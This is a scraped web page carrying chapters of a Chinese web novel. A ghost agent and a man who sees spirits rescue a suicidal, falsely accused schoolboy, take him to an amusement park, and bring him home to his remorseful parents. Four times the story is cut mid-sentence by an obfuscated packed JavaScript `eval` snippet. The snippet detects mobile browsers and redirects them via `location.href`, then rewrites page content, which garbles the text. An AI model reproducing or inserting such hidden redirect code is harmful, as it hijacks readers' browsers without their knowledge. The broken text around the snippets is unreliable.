班主任一向对他印象不错，那天却发了很大的脾气。 “你一天到晚到底在想些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289551|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么？” 他很疑惑班主任为什么生气，几只纸突然挡住了他的视线，弄得他眼睛很不舒服，那些纸是班任扔到他脸上的。 他捡起来，意外觉得这纸张的页眉页脚很熟悉，上面的字也有些熟悉。 他开始读上面的内容。 “小静，第一次见到你，我就觉得你笑起来很可爱，眼睛弯弯的，嘴角的弧度也很好看，后来跟你接触多了，我更是觉得你特别好，我找不到形容词形容你，总之跟你在一起说话时，我会莫名的开心，心情特别好，即使我昨晚被爸妈骂的狗血淋头，跟你说话时，我也会全部忘掉，心里只会想到美好的东西……平安夜你送我的苹果，我一直舍不得吃，我包了厚厚的保鲜膜，把它放进冰箱里，如果可以，我希望它永远都不会变质，就像我对你的感觉一样……” 小志倒吸一口凉气，这纸……是从他书包里的日记本上撕下来的！这段日记是他半个月前写的，他不敢把日记本放在家里，怕爸妈会看到，只好将它藏在书包内侧的口袋里，到底是谁偷看了他的日记，又告到班主任这里，他陷入深思。 更令他五雷轰顶的是其他两页内容，那些笔记确实很像他写的，但真的不是他。 “我喜欢盯着小静的胸部看，她好像有时候穿吊带，有时候不穿……” “她的嘴唇粉嫩嫩的，我好想咬一口。” “我喜欢看她穿白色的衣服，因为白色的衣服在光照上去的时候会很透，我能看见她发育良好的胸部。” “如果可以，我想约她去影音厅看小电影……” 这都是什么啊？还有些更下流的话，他都不好意思读出来。 小志开口辩解了几句，但班主任压根听不进去，又从抽屉里丢了些东西在地上。 正值下课时间，老师办公室里人来人往的，小志的脸红的发烫，从小到大他是第一次感觉到如此无地自容。 地上是几本颜色小说，书皮上的名字和配图都是需要打码的程度，旁边还散落着几个光盘和一本彩页的颜色杂志。 “老师，这些东西不是我的，是有人诬陷我！” 班主任上了些年纪了，自己班上竟然出了这种学生，还被举报到教导处，她的脸皮都挂不住了，周围的老师都在看着，如果不严肃处理，杀一儆百，她这个班主任恐怕很难当下去了。 “诬陷？你说是诬陷？怎么人家不诬陷别人，偏偏就诬陷你呢！明明就是你的笔迹，老师天天修改作业，还能认不出来吗？” “老师，真的不是我……” “我不想跟你说话，你下午的课也别上了，去走廊罚站！” 小志很委屈，但他好像怎么解释，老师都听不进去。 班主任见他不动弹，提起嗓门大声喊：“没听到吗？现在就给我去！” 小志上了一点倔脾气，气鼓鼓的盯着班主任，站在原地就是不动。 “怎么，我管不了你了是吧？” “这些不是我写的东西，如果我去罚站，就是默认了，我不去！” 5. 秘密 班主任戳了戳眼镜，又撸了撸袖子，嗓门更大了：“你平时就和李小静关系好，经常在一起说话，这我还能冤枉了你吗？” 小志拿起自己写的那篇日记，挺直身板说：“我确实喜欢李小静，这篇日记是我写的，但其他日记不是我写的……应该是别人仿照我的字迹写的，反正不是我！” 班主任气得都笑了：“谁那么闲啊，还专门仿照你的笔迹写日记诬陷你，你当是拍电视剧呢！男子汉敢做就要敢当！青春期有些奇怪的想法也是正常的……” “我没有！我没有！不是我！”小志打断班主任的话，用尽全力喊。 动静闹得越来越大，全办公室的老师都停下了手里的工作，凑过来想帮忙调解矛盾。 小志昂着头，不甘示弱，不管周围的老师怎么引导他承认错误，他就是不点头，就是不承认那些不属于自己的东西是自己的。 僵持了一个多小时，班主任的嘴皮子都磨破了，硬是掰不过这小伙子。 老师们开始低声劝小志班主任。 “要不先让孩子回去上课吧。” “青春期嘛，正常的，不好意思嘛，你就别硬要他承认了。” “走吧走吧，再不去班级上课，可就算教学事故了。” 班主任喝了口茶水，恢复了些理智，走到小志身旁拍了他一下，说：“先回去上课吧，我再找教导主任确认一下细节。” 那一刻，小志有种如释重负的感觉，好像吵了好久的架终于吵赢了，可要说开心吧，其实心里也没有一点开心，只觉得很累，很无助。 他回到班级时，同学们都在窃窃私语，小静低着头写作业，无视他的存在。 男子汉不能哭，绝对不能。 小志强憋着情绪，听了一节课，课间时有不熟悉的男生凑过来，笑眯眯的大声问他有没有好片可以借他看看，他的脸色变得煞白，将脸别到另外一边，小声说：“我没有。” “切，真小气，大家都知道了，你就别装了！” “有人诬陷我，我根本没有那些东西！” 小志说这句话时声音很大，但说完后教室里一片寂静，并没有人回应他，那个男生觉得无趣，转过身离开了。 “喂，小志！你妈在外面找你！” 什么？妈妈怎么来了。 小志走出去的时候，全班同学都盯着他看，随后竖起耳朵仔细听门外的情况，也有不开眼的男生跑到外面，拿了个手机准备随时录像。 “妈，你怎么来了？” “啪……” 一记耳光落在小志的脸上。 “啪……” 没等小志反应过来，又是一记。 “真给我丢人！” 小志妈妈转身就走，没走几步，回头喊道：“还不快跟我走，去教导主任办公室跟老师道歉！” 小志捂着脸，听到身后有同学的讥笑声，那一瞬间，他觉得身体里有什么东西碎了，却又不知道是什么。 * 秦羽看到过一句话：如果想轻松毁掉一个人，那就毁掉他的童年，听完小志的故事，她想在后面加一句：如果想轻松摧毁一个人的自尊心，那就让他在青春期时抬不起头。 小志将心事第一次完完整整的讲出来，过程中他再次感受到委屈和绝望，但全部讲出来后，好像心里面的大石头轻了一些，可能是因为对面的大哥哥和小姐姐此刻是完全站在他的角度上考虑的，丝毫没有怀疑他的意思。 男人的表情有些哀伤，明显是共情了，点了根烟，猛吸了几口。 秦羽皱眉：“叔叔，你怎么能当着我们的面抽烟呢，这样会教坏孩子的！” 男人挑眉，继续吸了几口，看着男孩依然皱巴巴的小脸问：“你要不要来一根？” 秦羽：“……” 小志：“呃，不要，我怕被呛到。” 男人：“男子汉，怕个屁啊！” 小志：“如果爸妈知道我抽烟，会打断我的腿……” 男人哪壶不开提哪壶，“如果你爸妈知道你跳湖，会怎么样？” 小志把头低下，没有回答。 “阿切！”秦羽打了个喷嚏。 三个人身上都湿漉漉的，虽说今天艳阳高照，还算暖和，但身上被水浸透后，只要有点风，还是感觉冷的不行。 男人开口：“冻死了，我可不想变成冰雕，现在需要去个暖和的地方把湿衣服换掉。” 小志也打了个喷嚏，睁大了眼睛问：“去哪儿？” 男人将烟头熄灭，站起来往景区出口的方向走，小志爬起来跟在他的身后，秦羽担心小志，跟在小志的身后。 男人看着两个小屁孩跟着他，嘴角抽了一下，他本来今天有别的事情，不过不要紧，现在事情已经不重要了。 男人走了一会儿，像突然想起什么似的，回头问秦羽：“对了，你是怎么回事，今天不用去上学吗？” 秦羽心想全校要大扫除放假这种理由应该骗不过他，只好潇洒的回道：“嗯，我心情不好，逃课了！” 男人：“……行吧。” “英雄哥哥你叫什么名字？”秦羽忍不住问他，刚刚要不是他及时出现，她的第二次任务也要失败了，还会白白浪费一具皮囊。 “蓝哲。” “哪个蓝呢，蓝色的蓝吗？” “是啊。” 小志开口：“好特别的姓啊，那蓝哥哥你今天不用上班吗？” “不用。” 秦羽追问：“蓝哥哥你失业了吗？” 蓝哲：“……不是，心情不好，翘班了。” 小志露出难得的笑容，逃课的小姐姐和翘班的大哥哥，感觉……自己突然不那么孤单了。 * “这件怎么样？” 秦羽自己换上一身汉服后，在衣架旁翻了一会儿，找到了一身大小合适的男孩汉服，拿到小志面前。 “可以啊，谢谢姐姐。” 五分钟后，三个人走出景区门口的汉服租赁店。蓝哲走在前面，穿了一身靛蓝色的汉服，他身材好，腿又长，衣服不压身，反而衬得他风度翩翩，活脱脱像一个古代的富家公子哥。秦羽在他左边，穿了一身翠绿色的对襟襦裙，齐肩的头发扎了一部分在脑后，还戴了只银色的步摇，小志在他右边，穿了身浅灰色的分体汉服，乍一看挺像个书童的。 三个人走在大街上很是显眼，路过的行人好多都伸长脖子盯着他们看，不过那些目光大多数是落在了蓝哲身上。 “上车吧，车上暖和些。” 蓝哲带他俩走到了一辆宝蓝色轿车前，示意他们上去。 秦羽：“蓝哥哥，你要带我们去哪儿？” 蓝哲：“哥哥今天心情不好，想出去放松一下，两个小屁孩你们非要跟着就一起去，不想跟着就各回各家，各找各妈。” 小志打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289552|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开车门坐了进去，明确表示不想回家找妈妈。 秦羽还需要观察一下小志的情绪，省得他待会又想不开，便也坐了上去。 “小屁孩们，系好安全带啊，不然会扣分！” “噢……” 小志：“对了，姐姐，还不知道你叫什么名字呢？” “……李思。” “姐姐在哪里上学呢？” “呃……我是XX中学的。”秦羽随口编了个名字，但学校没法胡说，好在她昨天排查时路过了个中学。 小志眼睛一亮：“噢，我知道那个学校！我舅舅家的哥哥就在那个学校，你认不认识我哥哥啊，我哥哥叫张明明，是校足球队的！” “呃……不认识。” “那姐姐你是几年几班的呀？” “我……” 秦羽还没编出来，开车的蓝哲突然插话：“学校那么大，姐姐不认识你哥哥也很正常。对了，你们恐高吗？” 小志的注意力被转移，回道：“我不恐高。” 秦羽也回道：“我还行，不恐高。” “那我就放心了。” 车上开着广播，一直放着歌曲，这会儿歌声突然停止，换成了一个男人的声音。 “紧急插播一则寻人启事，王小志，男，14岁，身穿F市二中校服……如有见到请帮忙联系家属，家人十分着急，定有重谢，感激不尽，联系电话是……紧急插播一则寻人启事，王小志……” 刚刚车里气氛还挺好的，此刻听完广播后突然安静下来。 小志看向窗外，秦羽看不清楚他的表情，试探性的问：“小志，你看要不要跟你爸妈联系一下呢？” “不要。他们根本就不在乎我的想法，我不想看到他们。” 秦羽张了张嘴，想劝些什么，但又觉得现在还不是时候。如果现在强行将小志交给他爸妈的话，不知道会不会再刺激到他。 广播里一直播着寻人启事，蓝哲没说什么，抽出手来把广播关掉了。 车里陷入一片死寂。 * 半小时后，F市欢乐谷。 蓝哲停好车子，下来点了只烟：“小志，你不是想体验死的感觉吗，看，那边是亚洲最大的十环过山车，听说坐上去，会有濒死的体验感，怎么样，你敢不敢去？” 小志望着远处的过山车，咬紧嘴唇，回道：“我敢！” “那你呢？”蓝哲望向在一旁揉着太阳穴的秦羽。 “我……” 秦羽从没见过这么高这么刺激的过山车，更别说坐过了，她死之前玩过最刺激的游乐场项目就是小小的旋转飞椅，但她天生属于挑战型的选手，又菜又爱玩，犹豫几秒后，仰起头回道：“我也敢！” 蓝哲一副孺子可教的表情：“不错，不错，都很勇敢！真棒！” 十分钟后，秦羽带着小志坐上了过山车，回过头她发现蓝哲并没有一同进来，他在检票口外面做了个“加油”的手势后冲着他俩拜了拜手。 秦羽：“……” 可能是女人的第六感吧，她觉得不太妙，但后悔也来不及了，过山车已经嘎吱嘎吱的动起来了。 秦羽转过头看小志，他倒是一副无所谓的样子，两手握着压杆，目视前方，脸上没有一点害怕的表情。 远处的蓝哲内心OS：什么？让我坐十环过山车？不可能，绝对不可能，那跟直接杀了我，有什么区别？ 6. 秘密 十分钟后。 秦羽在厕所抱着马桶狂吐。 社会真是险恶，她怎么能傻呵呵就跟着小志上过山车呢！过山车上的几分钟，她觉得脑仁和胃都不是自己的了，前世她是因为心脏病猝死的，死前没造什么罪，反倒今天全给她补回来了。 如果她不那么盲目自信，刚刚完全可以在发车前摘下发夹，留下肉身去遭罪，但过山车第一个弯就给她干得头晕目眩，别说找发夹摘下来了，当时连维持正常心跳都不容易。 这两天怎么这么点背啊，这活也太难干了点吧。 终于，她将胃液快吐干净后，才感觉脑子恢复了点神智。 厕所门口，蓝哲和小志等了她许久，见她出来，急忙上前询问她怎么样了。 秦羽死要面子的回道：“没事，就是早餐吃多了而已。” 小志：“姐姐，我觉得你脸色不太对啊！” 废话，如果她不是个死人，这会儿肩膀上的红灯都要开始闪了。 蓝哲的表情似笑非笑的，有些欠揍，秦羽开始觉得这个男人好像有点鸡贼。 小志：“要不咱们先去吃点东西吧，我请客！” * KFC的二楼窗边。 小志端了个托盘过来，上面满满的全是炸鸡，汉堡，小食，饮料，一层放不下，摞得像座小山。 秦羽震惊:“怎么买这么多啊！” 小志笑了笑:“哥哥姐姐吃吧，今天辛苦你们了。” 蓝哲倒不客气，抓起一个汉堡开始吃，嘴里嘀咕:“算你小子还有点良心！” 秦羽肚子咕咕叫个不停，也挑了个汉堡吃。 小志这会儿看起来心情不错，笑吟吟的说：“我一直想吃全家桶，可我妈总是说要等我考到班级前三名的时候再买，我一个人路过肯德基时也想过用积攒的零用钱偷偷买，但总觉得一个人吃全家桶太浪费了……今天挺好的，有哥哥和姐姐陪着我。” 蓝哲:“刚刚的濒死体验怎么样？” 小志突然有些腼腆，“挺刺激的，我还是第一次坐这么刺激的过山车。” 秦羽心想:谁不是呢？ 小志继续补充:“我还挺享受失重的感觉的，浑身都感觉很轻盈，像一只鸟，一阵风一样，感觉好自由。” 蓝哲喝了一口可乐，抬起头说:“我们生来本来就是自由的，是社会和家庭给我们上了枷锁。” 对话内容突然变得深刻，小志在思考些什么，秦羽开口打破沉默：“长大了就好了，等我们自己可以养活自己，到时候就可以安排自己的人生了，别着急，很快你就长大了，会像小鸟一样拥有翅膀。” 蓝哲撕开薯条袋子，顺着话题说:“你现在是个学生，自然会觉得在学校里发生的事是全世界最重要的，但其实不是，世界很大，你现在觉得天大的事情，等你长大后会发现其实都是芝麻大的屁事而已。你现在很在意父母和老师对你的看法对不对，但你终将会毕业，父母也会在你的人生里退场，总有一天你会知道，你的人生只属于自己，别人都是NPC。” 小志看着窗外的小鸟出神，秦羽觉得他应该是听进去了。 蓝哲坐在她对面，一个劲的往嘴里塞薯条。这个男人有点意思，还挺会见缝插针对小孩进行心理疏导的。 救身容易，救心难。 她本来很苦恼要如何排解小志的情绪，想不到这个男人先她一步，帮她解决了问题。 这人蛮有天份的，非常适合加入他们人间特别行动小组，只不过他……阳寿未尽。 “我脸上有什么东西吗？” 秦羽盯得久，被他发现了，她不敢说她刚刚在想:如果这男人是个短命鬼就好了。 “没什么。”秦羽将目光转开。 小志吸着手指头上的番茄酱，眼睛里突然有了光，开口说:“哥哥，我一会儿还想玩那个最高的跳楼机！” “好啊。” 下午小志总共玩了八遍跳楼机，排队的人非常多，为了让他多玩几次，蓝哲和秦羽轮流帮他排队。 排队时，蓝哲意味深长的笑:“李思，你怎么不继续玩了？” 秦羽在心里白了他一眼，微笑着回道:“哥哥，我刚吐完胃不太舒服，不敢坐了，哥哥怎么不去玩啊，是因为恐高吗？” 蓝哲干笑了两声，转移话题道:“你经常逃课吗？看你的年纪应该上初三了吧，现在正是该发力念书的时候，总逃课可不好哦！” 秦羽点点头，一副很受教的样子，回道:“谢谢哥哥关心，我会努力读书考上高中的，那哥哥也要努力工作多多赚钱，尽量少翘班哦！” 这姑娘，嘴可真不饶人。 蓝哲舔了舔嘴唇，闭了嘴。 看小志玩得特别开心，秦羽第一次体会到这份工作的美好，累是累点，但有时候还挺治愈的。 傍晚，三个人从欢乐谷走出来。 小志走在最后面，好像从出了游乐场的门开始，他就闷闷不乐的。 “请问可以帮我们拍张照片吗？” 两个女生穿着一样的cosplay女仆装，头上戴着兔耳朵，她们拦在蓝哲面前，提出这个请求时捂着嘴轻笑。 “可以啊。”蓝哲接过女孩的手机，帮她们拍了几张照片。 女孩拿回手机，对刚刚拍的照片很满意，反问道:“要不要也帮你们三个人拍张照留念呀，你们穿的汉服很好看哦！” 蓝哲对拍照没什么兴趣，本想拒绝，但小志先一步回道:“好呀好呀！” 只要小志开心就好，秦羽拽着蓝哲走到欢乐谷三个大字的正前方。 蓝哲站在中间，秦羽在左，小志在右。 “大家都笑一下嘛，不要那么严肃……” 蓝哲双手抱胸，侧着身摆了个极帅的姿势，秦羽做了个鬼脸，小志露出一排牙齿，摆了个剪刀手。 “非常好！”女孩按下快门键，将手机还给蓝哲。 小志凑过来:“哥哥我带手机了，你加上我然后把照片发给我吧！” 蓝哲:“好的。” 两人操作完，小志转向秦羽:“姐姐，我们也留个联系方式吧！” 小志今天玩的很开心，很久都没有跟朋友在一起玩得这么开心了，他知道没多久大家就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289553|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分开，他不舍得，所以一定要拿到大家的联系方式。 “呃……”秦羽掏了掏口袋，“我没带手机。” 小志不依不饶:“那可以告诉我电话号码么？” 秦羽:“我……好了，跟你说实话吧，其实我没有手机，我爸妈为了让我好好学习，压根就没给我买过手机。” 秦羽不想随便编个电话号码给他，如果之后他真的打过来，发现是空号，那就太伤他的心了。 “啊？”小志的眼神里全是同情，“姐姐你也太惨了吧，居然连手机都没有，怪不得你要逃课呢，看来你爸妈对你的管教更令人窒息啊！” 秦羽:“是啊，大家都一样惨，熬过去就好啦！” 小志点点头。 蓝哲使劲敲了小志脑门一下:“喂！你回去不会再做傻事了吧！” 小志低下头:“我不敢回家，我的书包都丢了，回去我怕我爸妈会打死我……” 蓝哲揽住小志的肩膀:“没事，我送你回去，书包的事情我帮你解释就好。” “真的吗？” 小志还在变声期，这句话说出来时隐隐带了些哭腔。 “真的，走吧。” 小志:“那姐姐呢？” 秦羽觉得有蓝哲陪着就够了，她一个女孩跟着一起回去，反而解释不清楚。 “姐姐要打车回家了，我目送你们走吧。” 车子开动起来，小志摇下车窗，认真的看着秦羽，大声喊:“姐姐，今天谢谢你救我！谢谢你陪我一起玩过山车……” 秦羽站在原地，挥了挥手。 蓝色轿车在视线里渐行渐远，秦羽还是不放心，摘下发夹，跟着车子的方向在空中飘着。 * “是这里吗？” 小区里的路非常窄，蓝哲在小志的指挥下左拐右拐，最终停在了一栋民宅门口，这栋楼不高，只有五层，外面看起来破破烂烂的，应该有年头了。 小志叹了口气，指着楼上某处：“是这里，三楼就是我家了。” 蓝哲将车子熄火：“好，我陪你上去。” 上楼时，小志的头埋得很低，白天发生的事像做梦一样，现在好像梦碎了，又回到了现实，让人感觉无比失落。 他早上离开前，留了封信在餐桌上，想必爸妈已经看到了，不然也不会在广播里听到关于自己的寻人启事。长这么大，他还是第一次做这么出格的事情，不知道爸妈现在看到他会怎么样，会骂他没良心，打死他，还是会……给他一个拥抱。 小志很紧张，吸了吸鼻涕，开始敲门。 一下，两下，三下…… 小志的心提到了嗓子眼，但敲了半天，依然没有人开门，看来爸妈不在家。 “小志，是你回来了吗？” 对面的李阿姨打开门，探出了只脑袋，看清楚小志的面容后，开心的叫出声：“小志！你终于回来了！你去哪儿了？你爸妈找你都要找疯了……他们报警了，有人说在景区湖边发现了你的书包，你妈差点哭晕过去……好好，你回来就好，我这就给你妈打电话，你就在这待着，千万别走啊！” 7. 秘密 小志从未见到李阿姨情绪这么激动过，他们之前只是在楼道里偶尔遇到，打过招呼而已。 蓝哲和小志并肩在楼梯上坐着，蓝哲拍了拍他的肩膀：“你看，爸妈还是很在意你的，不用害怕。” “嗯……哥哥，你和爸妈的关系好吗？” 蓝哲点了根烟，楼道里瞬间全是烟草的味道，小志很不适应，捂着鼻子咳了两声。 良久，他才开口：“不太好，我妈死的早，我和我爸关系不好，很少联系。” 小志：“对不起，哥哥，早知道我就不问了……” 小志没想到蓝哥哥的家庭是这样的，在他的世界里，如此被父母误解和辱骂，已经是他经历过最严重的事情了。 蓝哲侧过头，嘴角扯了几下：“害，这有什么好对不起的，我早就不在乎他们了，我自己一个人过得挺好。” 小志没从蓝哥哥的笑容和眼神里读到真正的快乐，他似乎只是强颜欢笑。 “哥哥，今天谢谢你陪我……” “你要是真心感谢我，就好好念书，别再做傻事了。” “我知道了……” 小志掏出手机，他今天除了和哥哥加微信那会儿，就一直没开机。手机跳出开机动画，随后弹出一堆未接电话和微信消息。电话都是小志的爸妈以及老师同学打过来的，一个小时就有几十个，打开微信他发现小静给他发了一条消息。 “小志，我知道那些东西不是你的了，对不起，是我不够相信你，也不够勇敢，没能站出来替你说话，你去哪儿了，大家都很着急，如果你看到就回复我，可以吗？” 二十分钟后，小志听到妈妈的哭喊声。 “小志！小志？” 小志被妈妈紧紧抱住，妈妈一直在哭，他印象中没见过妈妈情绪这么崩溃过，就连之前和爸爸吵架的时候也没有过。 “都是妈妈不好，妈妈不对……不该在学校打你……也不该错怪你……都是妈妈不好，妈妈对不起你……” 小志妈妈不停的重复着这些话，丝毫没有松开小志的意思。 声音有些大，邻居们都围了过来。 “阿琴，我就说是小志没错吧！” “是小志，是小志回来了，李姐麻烦你了！” “都是邻居，说什么麻烦呀，小志安然无恙回来就好。” 小志妈妈这才反应过来，拉着小志前前后后的看，好在除了衣服很陌生，身上其他地方都没什么事。 小志开口：“妈，我没事，是哥哥救了我。” “没事就好，你要是有什么三长两短，妈妈也不想活了！”小志妈妈又开始哭个不停。 “是你救了我们小志，对不对？真是太感谢你了！快，阿琴别哭了，快让恩人进屋坐啊！”小志爸爸虽然比小志妈妈看起来冷静一些，但肿胀的眼睛和里面的红血丝骗不了人。 蓝哲拒绝了小志爸爸的邀请，离开之前，留下一句话：“孩子我帮你们平安送回来了，今后麻烦照顾好小志，有什么事情好好商量，少动手，多沟通。” 蓝哲走得飞快，小志爸爸拦都拦不住，嘴里嘀咕着：“呀，还不知道恩人叫什么名字呢……” 蓝哲下楼后在车子前等了会儿，直到他看到一个熟悉的身影也从楼里出来，只不过她没走门，走的是窗户。 “这姑娘有点意思，到底还是不放心他，还一路跟过来确认状况。” 昨晚她出现在他的家里，又是弄坏他的水龙头，又是摔掉他的药瓶，他表面不动声色，暗地里其实在观察她，她在屋子里转来转去，还翻他的柜子和抽屉，到底要做什么？ 他从小就和普通人不一样，能看到一些别人看不到的东西。他见过怨气重的魂魄回来寻仇，也见过留恋人间的魂魄妄想自己还没死掉，平淡的在人间过着生活，也见过故意搞怪的魂魄，看到人类因为它们而害怕、恐惧，自己就开心的不行。 但这个魂魄不一样，她似乎不是单纯的搞怪，好像隐隐约约在保护着他。 今天早晨，他在楼道里闻到了浓浓的血腥味，又在隔壁房间里看到了她，她的样子看起来和昨晚不同，好像很难过的样子。 看来她绝对不是来人间作恶的。 上午将她和小志从湖里捞上来，她的脸憋得通红，却全然不顾自己的安危，一直在问小志怎么样，活到这么大，他还是第一次见到这样热心肠，又有使命感的魂魄。 还……长得不错。 她换上了小姑娘的皮囊，说话声音也变了，但他还是一眼就认出了她。小姑娘的声音尖尖的，他还是喜欢她本来的声音，她的声线偏中性，唱起陶喆的歌蛮有感觉的。 “嘀嘀！”口袋里的手机响了。 “不好意思，今天太忙了，没能按时赴约。” 蓝哲回复：“没关系，你忙你的，我也没什么特别的事情。” 再一抬头，天上那抹浅蓝色的身影不见了，蓝哲看着远方，又点了一支烟。 * “这两天怎么样，任务还顺利吗？” 秦羽回了趟地府，路上遇见飘过来的筱筱。 “总体来说，还可以吧，成功了一单。” “不错啊！我还一单都没成呢！”筱筱耷拉个脸，“我运气太差，一开始遇到的两个人都是正常死亡，我没法救，后来我遇到一个人闪着灯，我就跟在他身后，想着保护好他，于是我跟着他上了公交车，结果公交车出了事故，突然起火爆炸了，别说救他了，我自己都烧坏了副好皮囊……” 秦羽搂住她的胳膊安慰她:“没事，行动这才刚开始嘛，咱们还有很多机会呢，总不会一直倒霉的。” “唉，这活太辛苦了，我都想摆烂了。” “筱筱，你振作点，万一实习通不过，被开除了就麻烦了。” 筱筱一副无所谓的样子:“被开除了大不了就排队进轮回呗，反正人间和地府都没什么值得我留恋的。” “嗯…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289554|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我不像你，我父母没的早，我都快不记得他们长什么样子了，死之前因为化疗，我变得很丑很丑，头发都快掉光了，当时谈的男朋友嫌弃我，也不要我了。如果现在白给我一个延生符，我都不知道给谁用好呢，哈哈哈……” 筱筱开始大笑，本来就没几根的头发迎风飘扬，这一刻，秦羽竟觉得筱筱好美好洒脱。 不过，记忆中筱筱没生病的时候确实是挺漂亮的。 她个子很高，拥有一双超绝的美腿，性格开朗，笑起来还特别阳光，单位尾牙时跳了一支爵士热舞，获得了全单位男生的青睐，之后便有好多男生都追她。 筱筱挑挑拣拣，审美独到，最后选了个相貌平平的男生，说是……对她最好，可也是那个男生，在知道筱筱得了癌症后，没几天就提出了分手。 她有去医院看过筱筱几次，她真是个坚强的女孩，那么多次化疗放疗她都独自撑过来了，可癌细胞开始变少了，没隔几个月又突然变多，甚至扩散到了全身。 元宵节那天是她的忌日，秦羽去参加了葬礼，她的父母过世早，葬礼是一个姑姑帮忙办的，很简单，来的人不太多。 秦羽有看到那个男生，他在角落抹眼泪，他说:“对不起，筱筱，我没有勇气跟你一起面对癌症，我是个胆小鬼，但是我真的没办法面对……我妈妈就是癌症没的，那种痛苦我实在不想再经历一遍了，真的对不起……” 筱筱的死让秦羽意识到生命有多重要，她本想好好计划人生，活得无怨无悔，但人算不如天算，几个月后，她突发心脏病，也离开了人世间。 秦羽开始唉声叹气的，筱筱拦在她面前咧着嘴做了个鬼脸，问：“哎，我随便说说的，你不会跟着难过了吧？” “筱筱，我舍不得你，咱们一起努力通过实习吧，好不好？” 筱筱一副真拿你这个卷王没办法的表情：“好吧好吧，我再加把劲。” “对了，筱筱，我今天执行任务时掉到了水里，然后身体变得很沉，腿软，使不上劲，可原本我是会游泳的……” “你傻啊！”筱筱眼睛睁得大大的，一脸惊恐的表情，“我们怕水，你不知道吗？” 秦羽摇摇头，反问道：“可活着的时候有听说过河边有鬼，会拽人下去之类的，那就是说鬼魂是不怕水的呀？” “拜托，那是水鬼好不好，他们死在水底，无常不敢冒险收，只好将他们扔在水里，他们变成孤魂野鬼，自然怨气重，偶尔拽些人下去，解解闷的。” “噢，原来是这样……” 看来当时如果不是蓝哲及时出现救了她，她现在恐怕还会被困在水底呢。 “那咱们还怕什么？” “多了，比如火啊，被火烧到搞不好会魂飞魄散，比如正午的阳光，正午是一天中阳气最足的时候，如果直接暴晒的话，你顶着皮囊也会受不了的，再比如佛像、桃木、符咒、狗……” “咦，我们为什么怕狗？” 8. 空巢 “我说的不是那种可爱的小狗，是大狗，很凶的那种，恶狗突然叫的时候，我们会害怕，顶着皮囊还会把魂魄吓出来！” “噢，原来是这样……”秦羽一字一句都认真记下来，“筱筱，你怎么知道这么多啊？” 筱筱得意的时候会一蹦一跳的：“你以为我之前在人间瞎逛的时候都在摸鱼吗，人家也是有正经做调研的好不好！” 秦羽毫不吝啬的夸赞：“筱筱，你真厉害！没有你我可怎么办呀！” 地府小卖部里，筱筱在假发区翻来翻去，抱怨道：“老板怎么还没进新货啊！” “别提了，本来前几天有新货到的，运货的小鬼不得力，摔了一跤，东西洒了一地，被那些孤魂野鬼抢去了大半，唉，真是倒霉！” 小卖部老板是个老头，留着银白色的羊角胡，拿着个大烟斗，穿了一身板正的中山装，秦羽怀疑他死前是民国时期的。 秦羽盯着柜台里的东西，眼睛一亮：“老板，这个多少钱？” “哟，小姑娘挺识货啊，这是半个月前刚到货的iphone手机，是最新版，你看到的这个啊，是最后一部了。” “好漂亮，多少钱？” 老板用手比划了个数字。 “这么贵！” 秦羽还在实习期，每个月的工资很少，家里除了清明和过年，也没给她寄过多少钱，这个手机都顶她在地府两年的工资了。 算了，买不起。 秦羽将目光移开，真悲催，最新的iPhone手机她死前就不舍得买，死后还涨价了，更买不起了。 “老板，这个手机我要了！还有这些东西……” “稍等，我来算一下。”老板从肚子里掏出了个算盘，“我看看……一共是5200 0000 0000 0000元。” 男人掏出一个大包，里面装的全是冥币，问：“这些够不够？” “够了够了，我这就给你全部包起来！”一下子卖出这么多东西，老板相当激动，忙前忙后的数钱，找钱，装东西。 男人穿了一身黑色运动套装，年纪不大，似乎死前只有二十多岁的样子，跟秦羽和筱筱差不多。他很瘦很高，一副营养不良的样子，眼睛很大，但像得过甲亢似的，眼球有些凸出，鼻子挺直，下巴瘦削，如果脸上肉多一些，或许能算个帅哥。 